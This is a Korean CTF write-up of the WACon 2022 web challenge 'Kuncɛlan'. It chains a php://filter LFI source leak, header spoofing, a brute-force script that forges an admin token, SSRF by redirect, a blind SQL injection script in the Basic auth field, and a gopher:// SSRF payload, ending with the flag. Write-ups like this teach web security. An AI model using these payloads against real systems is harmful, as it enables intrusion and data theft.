[Study] WACon CTF 2022 Kuncɛlan Writeup
대회 기간에는 해결하지 못했던 문제였다. 우리 팀은 인원수 제한으로 ST4RT, 3ND 두 팀으로 나누어 출전했는데(본인은 ST4RT 로 출전) 3ND팀에서는 해당 문제를 해결했다. 대회 종료 후 서버 오픈 시간이 길지 않았기 때문에 팀원인 nicknamemohaji 님의 롸업을 기반으로 리뷰해보았다.
해당 문제는 블랙박스 기반 문제로, 별도의 소스코드가 주어지지 않았다. 주어진 페이지에 접근해보자.
guest / guest 로 로그인하면 curl 기능을 사용 할 수 있는 듯 한 페이지로 안내된다. 하지만 관리자 권한이 없어서 해당 기능을 테스트 할 수 없다.
우선 gobuster를 통해 별도로 접근 가능한 디렉토리나 파일이 있는지 확인해보았다.(OSCP의 습관..)
load.phtml 이 존재하는데, curl 기능을 제공하는 페이지의 파라미터가 load였다.
http://114.203.209.112:8000/index.phtml?fun_004ded7246=load
실제로 직접 접근해보니 아래와 같은 메시지가 출력되었다.
따라서, 입력받은 파라미터 뒤에 .phtml 를 붙힌 파일을 include하는 기능일 것이라고 추측했다.
(index를 입력했을때 정상출력을 못해주는 것 또한 확인했다.)
그리고 파라미터에 /www/var/html/load를 입력해도 curl기능을 호출함으로써 LFI를 의심하게되었다.
해당 서버는 php로 구성되어 있으므로 php wrapper를 통해 index.phtml load.phtml 의소스코드를 획득 할 수 있었다.
http://114.203.209.112:8000/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/load
## index.phtml
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['username'])) {
header('location: ./login.php');
die();
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="favicon.png">
<title>Home</title>
<link rel="canonical" href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/">
<!-- Bootstrap core CSS -->
<link href="https://getbootstrap.com/docs/4.0/dist/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/sticky-footer-navbar.css" rel="stylesheet">
</head>
<body>
<header>
<!-- Fixed navbar -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="./index.phtml?fun_004ded7246">Home</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarCollapse">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="./index.phtml?fun_004ded7246">Home</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="./index.phtml?fun_004ded7246=load">Fun?</a>
</li>
</ul>
<h5><font color="#fff">Welcome </font><font color="#fff"><strong><?php echo $_SESSION['username']; ?></strong></font> ð</h5>
<h5><a class="nav-link" href="./logout.php">Logout</a></h5>
</div>
</nav>
</header>
<!-- Begin page content -->
<?php
if (isset($_GET["fun_004ded7246"])) {
if($_GET["fun_004ded7246"] !== ""){include $_GET["fun_004ded7246"].".phtml";}
else {
?>
<main role="main" class="container">
<h1 class="mt-5">They said ?</h1>
<p class="lead">A secure website should start with <code>https</code> rather than <code>http</code>. The "s" in "https" stands for "secure". </p>
</main>
<?php
}
}
else{
header('location: ./index.phtml?fun_004ded7246');
die();
}
?>
<footer class="footer">
<div class="container">
<span class="text-muted">You can totally do this.</span>
</div>
</footer>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script>window.jQuery || document.write('<script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/jquery-slim.min.js"><\/script>')</script>
<script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/popper.min.js"></script>
<script src="https://getbootstrap.com/docs/4.0/dist/js/bootstrap.min.js"></script>
</body>
</html>
## load.phtml
<?php
// LOCATION : ./internal_e0134cd5a917.php
error_reporting(0);
session_start();
if (!isset($_SESSION['username']))
{
header('location: ./login.php');
die();
}
if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
die("only in include");
}
function valid_url($url)
{
$valid = False;
$res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$res) $valid = True;
try{ parse_url($url); }
catch(Exception $e){ $valid = True;}
$int_ip=ip2long(gethostbyname(parse_url($url)['host']));
return $valid
|| ip2long('127.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('10.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('172.16.0.0') >> 20 == $int_ip >> 20
|| ip2long('192.168.0.0') >> 16 == $int_ip >> 16
|| ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}
function get_data($url)
{
if (valid_url($url) === True) { return "IP not allowed or host error"; }
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
if (curl_error($ch))
{
curl_close($ch);
return "Error !";
}
curl_close($ch);
return $data;
}
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
$out = "";
if (isset($_POST['url']) && !empty($_POST['url']))
{
if (
$IP === "127.0.0.1"
& $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])
& strpos($_COOKIE['USER'], 'admin') !== false
)
{
$out = get_data($_POST['url']);
}
else
{
$out = "Only the administrator can test this function from 127.0.0.1!";
}
}
?>
<main role="main" class="container">
<h1 class="mt-5">ðððð:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites ð</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="ð Request HTTP ð">
</form><?php echo $out; ?>
</main>
획득한 소스코드의 내용은 위와 같았고, index.phtml의 내용은 예상과 같아서 다른 확장자의 소스를 획득 할 수는 없었다.
load.phtml 파일의 맨 위에 주석처리되어있는 ./internal_e0134cd5a917.php 경로에 접근해보면 아래와 같은 메시지가 안내된다. curl을 통해 접근해야 하는 듯 하다.
curl 사용 조건 부분을 자세히 분석해보자.
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
##### ............................................................................ (2)
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
##### ............................................................................ (1)
$out = "";
if (isset($_POST['url']) && !empty($_POST['url']))
{
if (
$IP === "127.0.0.1"
& $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])
& strpos($_COOKIE['USER'], 'admin') !== false
)
{
$out = get_data($_POST['url']);
}
else
{
$out = "Only the administrator can test this function from 127.0.0.1!";
}
}
우선 (1)의 결과 값이 127.0.0.1 이어야 한다. 해당 조건은 X_HTTP_HOST_OVERRIDE 라는 헤더를 만들어서 값을 넣어주면 해결 할 수 있다. $_SERVER['HTTP_~~~'] 의 뜻이 ~~~ 라는 커스텀 헤더의 값을 읽겠다는 의미이기 때문이다.
https://www.php.net/manual/en/reserved.variables.server.php
PHP: $_SERVER - Manual
Guide to URL paths...Data: $_SERVER['PHP_SELF']Data type: StringPurpose: The URL path name of the current PHP file, including path-info (see $_SERVER['PATH_INFO']) and excluding URL query string. Includes leading slash.Caveat: This is after URL rewrites (i
www.php.net
얼핏보면, 두 번째 조건과 세 번째 조건이 함께 존재하는게 불가능해보인다.
그 이유는 3번째 조건에서 USER 쿠키의 값이 admin이어야 하는데, 두 번째 조건의 X-TOKEN은 (2)에 의해 guest라는 값이 하드코딩된 해시 값이기 때문이다. 즉, 두 번째 조건의 $_COOKIE['USER'] 는 guest여야 하고, 세 번째 조건의 $_COOKIE['USER'] 는 admin이어야 한다.
하지만, 위 조건은 hash가 무조건 안전하다고 가정했을 때이다. 대회 도중에는 이 부분을 생각하지 못해서 다른데를 빙빙돌다가 결국 해결하지 못했다...
취약점을 찾아보자. $_SESSION["X-SECERT"] 이 생성되는 gen() 함수는 아래와 같다.
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
getrandmax() == (2 ^ 32) - 1 이므로 BruteForce가 불가능한만큼 큰 숫자는 아니다. 해당 범위안의 숫자를 전수조사하여 해시의 처음 20자리와 에 "guest"를 붙힌 문자열의 해시값이 발급받은 X-TOKEN일때의 수에 admin을 붙히고 다시 해시를 해주면 조건문을 만족 할 수 있다.
우선 BruteForce 공격을 진행해보자.
import hashlib
import multiprocessing
def findhash(start):
target = '27e040ae65d4e051424f3fcc833bb4ca8580865242ec18a83e890f2a339d2fe1' # X-TOKEN
for i in range(start, start + 100000001, 1):
if target == hashlib.sha256((hashlib.sha1(str(i).encode()).hexdigest()[0:20] +'guest').encode()).hexdigest():
print("#######################################")
print("FOUND!!")
print(i)
print(hashlib.sha256((hashlib.sha1(str(i).encode()).hexdigest()[0:20] +'admin').encode()).hexdigest())
print("#######################################")
return
if i % 10000000 == 0:
print(i)
#print(f"{start} ~ {end} not found")
pool = multiprocessing.Pool(processes = 22)
pool.map(findhash, [i * 100000000 for i in range(0, 22)])
pool.close()
pool.join()
위 조건을 모두 만족하면 아래와 같이 curl자체는 이용이 가능함을 알 수 있다.
하지만 직접 127.0.0.1로 접근하는 것은 valid_url 메소드에 의해 제한되어있다. 하지만, get_data의 뒷 부분을 자세히 분석해보면 redirect이 허용되어 있음을 알 수 있다.
function get_data($url)
{
if (valid_url($url) === True) { return "IP not allowed or host error"; }
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); #####
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
if (curl_error($ch))
{
curl_close($ch);
return "Error !";
}
curl_close($ch);
return $data;
}
따라서 127.0.0.1 로 redirect를 유도하는 페이지를 만든 후에 해당 주소로 curl을 시도하면 될 것이다.
<?php header("Location: http://127.0.0.1/internal_e0134cd5a917.php")
아래와 같이 요청하여 다음 경로를 획득하였다. (./internal_1d607d2c193b.php)
해당 경로로 접근하면, 계정 정보를 요구한다.
아무 ID/PW를 입력하면 POST EMPTY! 라는 반환값이 오는데, POST 로 메소드를 바꾸고 Content-Type을 추가하는 등 조건을 맞춰주면 아래와 같은 메시지가 출력된다.
SQLi 가 의심되어, Basic 인증값에 인젝션을 시도했다. python의 requests 모듈에서는 auth 파라미터를 통해 Basic 인증을 지원한다.
http://www.fun25.co.kr/blog/python-requests-basic-authenticate
Requests 사용시 Basic 인증 처리 방법 | 퍼니오 호스팅
Requests 사용시 Basic 인증 처리 방법 requests 라이브러리 사용시 Basic 인증이 필요한 리퀘스트 처리 방법입니다. session = requests.Session() session.auth = ("user", "password") r = session.get('http://example.com/data-get')
www.fun25.co.kr
import requests
import string
URL = 'http://114.203.209.112:8000/internal_1d607d2c193b.php'
data = {"aaa": "bbb"}
li = string.ascii_letters + string.digits + '_' + '}'
flag = "WACon{"
for i in range(19):
print(flag)
for c in li :
r = requests.post(URL, auth = ("admin' and password like '" + flag + c + "%' #", 'pw'), data=data)
if r.text.count("not found") != 1:
flag += c
break
flag_ = ""
for i in range(25):
r = requests.post(URL, auth = (f"admin' and ord(substr(password, {i+1}, 1))> 95#", 'pw'), data=data)
if r.text.count("not found") != 1:
flag_ += flag[i].lower()
else:
flag_ += flag[i].upper()
print(flag_)
## by nicknamemohaji
Blind SQLi를 통해 플래그 추출을 시도했지만, 일부분만 주어졌다. gopher를 이용하라는 힌트가 주어져 이를 시도해보았다.
고퍼에 대해 조사하다가, gopher의 개념과 curl 사용 예시가 동시에 있는 자료를 발견했다.
https://me2nuk.com/SSRF-Gopher-Protocol-MySQL-Raw-Data-Exploit/
SSRF Gopher Protocol을 이용하여 MySQL 주입(SSRF Through Gopher)
SSRF 취약점이 발생할 때 Gopher Protocol을 이용하여 MySQL에 쿼리를 주입하여 있는 데이터베이스 정보를 탈취할 수 있습니다.
me2nuk.com
이를 응용하여, 이전에 사용했던 SSRF를 통해 curl을 이용하여 gopher 를 사용해보았다.
<?php header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0aAuthorization:%20Basic%20YWRtaW46V0FDb257dHJ5X3VzaW5nX2dvcGhoaGhlcg==%0d%0a%0d%0aaaa") ?>
응답값으로 플래그 뒷부분을 출력해준다.
FLAG : WACon{Try_using_Gophhhher_ffabcdbc}